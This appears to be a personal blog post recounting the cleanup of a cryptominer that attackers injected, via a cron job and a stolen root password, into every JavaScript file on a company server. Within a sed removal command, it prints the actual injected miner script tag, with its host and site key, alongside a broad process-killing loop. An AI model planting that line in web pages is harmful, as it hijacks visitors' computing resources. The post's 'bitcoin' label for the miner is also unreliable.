I was working on a medium sized company. And one day during one of my project I got the chance to work on a project. And then I got the chance to setup our company server as the development server for the project.
I started to setup the server as usual with all the usual stuffs (It's time I do something about it).
My initial code setup was a-okay, until I found out that the webpage takes a little bit more to load. This was happening now and then. And when I chat to my colleagues I get to know that they also suffer from the same fate. They thought it was the network issue.
I started to look for the issue, in the server. You know how it is. There is no GUI, but all you have is a terminal and that's that.
During HTML page inspection on the browser, I could see that at the very end of the page after all the scripts loaded there was this "cute" little piece of script that's been called like 7 or 8 times.
https://xmr.omine.org/assets/v7.js
(https! so secure...)
Well as usual I need to know what's this black magic.
Well turns out a bunch of guys on the internet has this problem. And it seems it's a bitcoin miner.
Simply put, this scripts helps take up the resources of the infected system, and helps the attacker to mine bitcoins. Not with their resources but OUR RESOURCES.
Turns out the root cause was simple. They knew our root password. What a disaster.
Turns out there was this cronjob running. It was so simple but highly effective.
The cronjob does only one job. It will run every single second, put the above link on the end of every js file from the very root of the file system. And the link will take care if anyone tries to remove the cronjob from the system (I found that the hard way).
I tried many methods;
1. Removed the cronjob
2. Stopped the cronjob
3. Changed the password
But nothing.
The link was present in every js files, even in the node_modules folder.
So I decided to win over this "villain".
- Stopped every instance of sh, curl and grep. Because someway or the other they were keep putting the cronjob back in action (Couldn't find how) ps aux | grep sh and then the all too famous kill command
- With a little bit of help from stackoverflow and linus tech tips and reddit communtiy, created a script that will search entire file system for files that end with .js and then kept it's search for the links at the end of the file and then removing them
- Once all this is done, removed the cronjob, changed the root password to a secure one and then restarted all the grep, curl and sh stuff
The end product ? PEACE
The lessons I learned:
- Keep your passwords safe, you may need to pay a hefty price if you don't
- Keep your password extra safe, I mean it
- Make it difficult to guess
P.S - If anyone wondering what's the magic script I used to save my company, here it is;
- Finding the js files : find . -name "*.js" -type f | sudo xargs sed -i -e '/document.write('\''<script src="https:\/\/xmr.omine.org\/assets\/v7.js"><\/script><script>OMINEId("31f7dd372f1545eeb6db379490b0e3c5","-1")<\/script>'\'');/d'
- Finding the process ids and then removing them, for pid in $(ps -ef | grep "the-command-that-need-to-be-removed-here" | awk '{print $2}'); do kill -9 $pid; done
Comments
Post a Comment